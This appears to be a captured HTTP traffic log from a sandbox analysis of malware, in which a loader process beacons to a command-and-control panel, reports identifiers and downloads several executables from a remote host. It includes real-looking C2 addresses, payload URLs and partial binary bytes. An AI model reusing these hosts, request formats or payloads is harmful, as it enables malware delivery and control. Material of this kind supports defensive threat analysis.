Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:03.617677927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:04.255669117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49815	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:05.772663116 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:06.421500921 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 35 34 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 34 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 35 34 32 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 34 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005540001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005541001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005542031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005543001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49824	185.215.113.16	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:06.430958986 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 14:33:07.069040060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: application/octet-stream Content-Length: 3191808 Last-Modified: Mon, 11 Nov 2024 13:28:34 GMT Connection: keep-alive ETag: "67320682-30b400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 0a 82 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@01@Th@ @.rsrc@@.idata @cwxuffsy+*@lloczfks00@.taggant00"0@
Nov 11, 2024 14:33:07.069067955 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:07.069078922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:07.069097042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:07.069109917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:07.069120884 CET	636	IN	Data Raw: e2 7f d7 5c f7 7f 40 82 33 f4 34 e5 1b 28 46 49 e2 39 34 a9 9e 7f c0 4b bc 23 44 87 e3 1f 85 49 79 b3 24 e5 07 7f 07 00 e3 7f 40 7c df d3 c5 51 e2 23 47 82 20 f6 7c e5 f2 f6 f8 f6 e2 7f 40 c9 61 ab 2b 82 9f d3 28 2e 87 d3 30 7e 9f d3 70 82 9f d3 Data Ascii: \@34(FI94K#DIy$@\|Q#G \|@a+(.0~p<~z8~D~@wwI8?I<$of8Ij$"8}<$t@1~@I=$@I{$M*Ig4K#DI{$E=$@
Nov 11, 2024 14:33:07.069201946 CET	1236	IN	Data Raw: e0 7b 40 49 78 cb 24 21 2b 78 40 49 e2 7e 05 92 e2 78 30 49 f3 31 c4 84 e0 f6 2c e5 61 41 3f 62 0c 73 40 49 7b b3 24 21 f6 61 45 81 5f d3 ac 49 e2 7f bb c5 be 5a 3f 49 e2 f6 84 e5 de f4 6c e5 f2 f2 ed d5 cb 88 0a ff e2 0f 85 49 7a f3 24 6e e3 7f Data Ascii: {@Ix$!+x@I~x0I1,aA?bs@I{$!aE_IZ?IlIz$n@~_IsJ{$aE<`f7I{${E<};t-B{0eFIG\|"@\|@\|$~wByD"2Av@I_6{$8Iz<@INw;c@I{${%7I
Nov 11, 2024 14:33:07.069214106 CET	212	IN	Data Raw: be 1b 47 49 e2 96 6a 02 e3 7f b7 2a f8 ae 07 4a e2 7f 40 d5 df 67 45 4d e2 78 be ed be f6 84 e5 da f6 84 e5 ce f4 84 e5 f6 0a 3d c6 e2 7f 40 49 d3 44 07 4a e2 7f 38 f8 57 3c 0d 4a e2 7f 38 34 19 a1 06 ea 8e 73 b7 34 d0 4d c4 cd be 8b 31 cd de ee Data Ascii: GIj*J@gEMx=@IDJ8W<J84s4M11DS$7Jt<t$0J8}R +\|D,8wI3I1G@Iw$g@40Nr@3z00@I
Nov 11, 2024 14:33:07.069238901 CET	1236	IN	Data Raw: e2 f6 f8 c4 02 7c 31 c5 34 7f 40 49 7b cb 24 f1 7b 45 96 2c 78 73 24 79 73 0f b1 79 73 0f b1 79 73 0f b1 79 73 f6 50 83 1b 87 c5 29 f2 f4 7c e5 de 88 0a 46 e3 88 a4 2f df f7 c4 ed 44 7f 40 49 79 73 24 8a 01 73 85 12 0b 22 ef 76 5f d3 a2 49 e2 7f Data Ascii: \|14@I{${E,xs$ysysysysP)\|F/D@Iys$s"v_I?1v$F4v$Z?IJ{s[@9wJ+';]@=u[8IJ[Lp@I=]HI0@IBy$`JItPxY?INF*;x$ys
Nov 11, 2024 14:33:07.069302082 CET	1236	IN	Data Raw: e3 7e 40 49 f5 f2 c9 42 e2 7f 31 8f fc 7e b0 05 e3 e3 b4 81 9f d3 28 87 e3 7d 40 49 d3 4d af 79 73 f6 74 e5 da f4 7c e5 f6 fe 47 4a 03 a2 3a 7c af d3 30 82 33 fc e8 49 90 d0 5e 49 9a 7f df 4e fc cd 6f 82 36 97 08 a1 e3 7f b7 b5 be 8f b7 2b 98 37 Data Ascii: ~@IB1~(}@IMyst\|GJ:\|03I^INo6+7?*r;x>rys0@I<~P{DO8\|$ysysysysz3e I$ : <<0_Zn<yJ,\|\~1t#[\|D\\|ze=7KH$ D~Eb9r
Nov 11, 2024 14:33:07.074136019 CET	1236	IN	Data Raw: de 88 c4 6b e1 7f 40 7e 89 7c fa 03 e1 ef b7 52 5e 3e 42 f9 5e f1 46 49 e2 f6 e8 c4 01 7c 31 c5 67 7d 40 49 3c bd 45 19 62 3d 43 7e b5 7b de 21 e1 7f 40 1a 31 0a 15 e6 46 7f 40 49 19 d0 b0 79 73 0f b1 79 73 0f b1 79 73 0f b1 79 73 f6 55 7d 9f d3 Data Ascii: k@~\|R^>B^FI\|1g}@I<Eb=C~{!@1F@IysysysysU}4,s0z\| aR?IWJ"z $9,r?yu{qz\\|a2Ir@~tzD\| 5\|0!:~Asys\|>\|ttF@Iy#%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49856	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:10.258687973 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005540001&unit=246122658369
Nov 11, 2024 14:33:10.900383949 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49862	185.215.113.16	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:10.907617092 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 14:33:11.543648958 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: application/octet-stream Content-Length: 1792512 Last-Modified: Mon, 11 Nov 2024 13:28:47 GMT Connection: keep-alive ETag: "6732068f-1b5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 a1 16 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@ i@M$a$ $b@.rsrc $r@.idata $r@ `*$t@flqmrefc Ov@pvhoknzuh4@.taggant0h"8@
Nov 11, 2024 14:33:11.543663025 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:11.543839931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:11.543945074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:11.543963909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:11.543975115 CET	1236	IN	Data Raw: 47 43 e9 35 a1 61 80 be 3e b2 f8 97 ba 9a c2 a7 74 d2 f9 b7 04 22 76 3b 7c ee 59 11 c6 37 fd ac 6f ed d2 b0 09 a3 4a 35 f4 67 38 a7 b5 b6 ef 5e 5e d5 f0 26 03 0e 2a c3 3d e7 13 d6 02 b1 42 41 8b 33 d2 5b 84 a0 65 9d d5 52 3f 1c 5e a4 a2 42 6c aa Data Ascii: GC5a>t"v;\|Y7oJ5g8^^&=BA3[eR?^BlAuNDy{5";)qNRBa\|wv1b+ly)\ymQ@Ho:d2@XK2D:aD(Z%29>7<5Lon<w5>QwEn,{tE]I[/y*&Oc
Nov 11, 2024 14:33:11.543988943 CET	848	IN	Data Raw: e1 c5 27 53 33 ee b1 3c ef 2b ab 31 bf 4f 23 43 fd a8 ee 2b 22 24 7c db 01 97 78 ee 3c b0 f1 1e f4 55 ba 0e cc 56 2d b1 04 d2 7a be b4 72 44 d0 b1 77 75 1b 90 2b 1a b4 aa 77 76 9f 3e 93 ca 3c 20 ad a9 49 d1 68 4d 55 e9 9e 92 64 fa ad e6 df 2e ff Data Ascii: 'S3<+1O#C+"$\|x<UV-zrDwu+wv>< IhMUd.Bmz_yG8<]M<+>!0=GBgqRDby)>ob>w48}P:gi}`=AlhLj-&qKI)=)Rr]yHl}4U%:L
Nov 11, 2024 14:33:11.544002056 CET	1236	IN	Data Raw: f8 8a ac 85 5b f8 c7 89 55 76 33 35 b1 42 f6 05 67 5f 7c ed 89 aa b4 b5 c1 eb fa d6 02 e9 76 76 0e a3 d5 47 8d 7e 81 35 79 c2 b9 47 85 c6 7b 03 56 b5 c2 7b f9 62 27 44 01 cb 70 43 0d 96 76 ab 6b e7 7f f4 d9 44 02 49 02 27 41 75 f5 4b ee 3a 9d ae Data Ascii: [Uv35Bg_\|vvG~5yG{V{b'DpCvkDI'AuK:"BgFV!P%xrr!4g\|~mee2F/5d}TkCs~I@rJV;3W;Nl,V>[1e1S5{D.d\|Y8jDM
Nov 11, 2024 14:33:11.544015884 CET	1236	IN	Data Raw: 6c a6 9b 30 09 93 c1 53 07 52 f5 55 4d ad b3 1a 16 42 eb 53 07 64 d5 54 99 32 42 c6 fb 54 f9 49 01 ba 00 d4 62 43 2c 66 a1 ca 82 e7 f9 42 f5 78 96 2a f8 46 a9 15 f3 4c c5 76 e2 3b 36 ae bb 57 2d 72 87 27 78 66 fe a9 75 fe c9 44 13 5c 85 f7 85 66 Data Ascii: l0SRUMBSdT2BTIbC,fBx*FLv;6W-r'xfuD\fuS\38Dd}8;=VCxT]`C@q;u}g{`JU,L+JJWU18w~u/E;W#~4b/F!-Y;33]DBxCV8;o9N3H
Nov 11, 2024 14:33:11.544030905 CET	1236	IN	Data Raw: fa a9 b3 e1 81 a6 8a cb 13 92 f5 8e 86 44 e5 75 6b 24 87 4b 21 46 6d 56 70 35 92 8c 21 42 87 75 e5 43 da 53 8e 72 11 4a 99 a6 c1 1f 63 75 f5 d4 c8 d2 b3 49 ad 32 55 bc 7a 5f 79 53 81 de f1 44 a9 ae f4 06 de 2b 86 1b 19 30 85 41 13 32 a2 a8 09 aa Data Ascii: Duk$K!FmVp5!BuCSrJcuI2Uz_ySD+0A2z0bd7bt}iA$+CCSxPz;94iEhBZsuD6zTA6=MCIx},6pafULL2i86Q$Ieb9d3G@){S\|P\|JAJ3o2[@;$!
Nov 11, 2024 14:33:11.548729897 CET	1236	IN	Data Raw: 19 66 b9 55 fd a6 b3 8f 13 38 f9 f7 07 32 f1 b7 75 ac b9 79 3a a7 38 cc f9 38 1d 78 b9 43 a1 38 63 5a fb f3 0a 32 3d d0 19 67 c7 4a bd 4a 49 4a 33 0e 83 43 7f 43 72 60 e9 23 c3 72 8e 97 fa b3 32 67 5c 38 43 4e 81 b7 07 46 92 6b 7d 34 46 67 d5 44 Data Ascii: fU82uy:88xC8cZ2=gJJIJ3CCr`#r2g\8CNFk}4FgDDed8;e)rL{gUU4YTu3!xAUuC1H#9E*5bZlS4EqUdU#bYuzz<\|32uf&5%3C1<%vBq\|C8MI;5;8_F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49887	185.215.113.206	80	7680	C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:14.399816036 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:33:15.041106939 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:33:15.043699980 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="hwid"461E54867E713604296297------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="build"mars------FHDAEHDAKECGCAKFCFIJ--
Nov 11, 2024 14:33:15.245768070 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49891	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:14.600747108 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005541001&unit=246122658369
Nov 11, 2024 14:33:15.240151882 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49902	185.215.113.16	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:15.890224934 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 11 Nov 2024 13:28:47 GMT If-None-Match: "6732068f-1b5a00"
Nov 11, 2024 14:33:16.528383970 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:16 GMT Last-Modified: Mon, 11 Nov 2024 13:28:47 GMT Connection: keep-alive ETag: "6732068f-1b5a00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49920	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:18.440673113 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 34 32 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005542031&unit=246122658369
Nov 11, 2024 14:33:19.108094931 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49929	185.215.113.16	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:19.116025925 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 14:33:20.588391066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:19 GMT Content-Type: application/octet-stream Content-Length: 2834432 Last-Modified: Mon, 11 Nov 2024 12:50:46 GMT Connection: keep-alive ETag: "6731fda6-2b4000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 a8 cd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@vtoiigyj**:@nofiliyx ++@.taggant@+"+@
Nov 11, 2024 14:33:20.588403940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
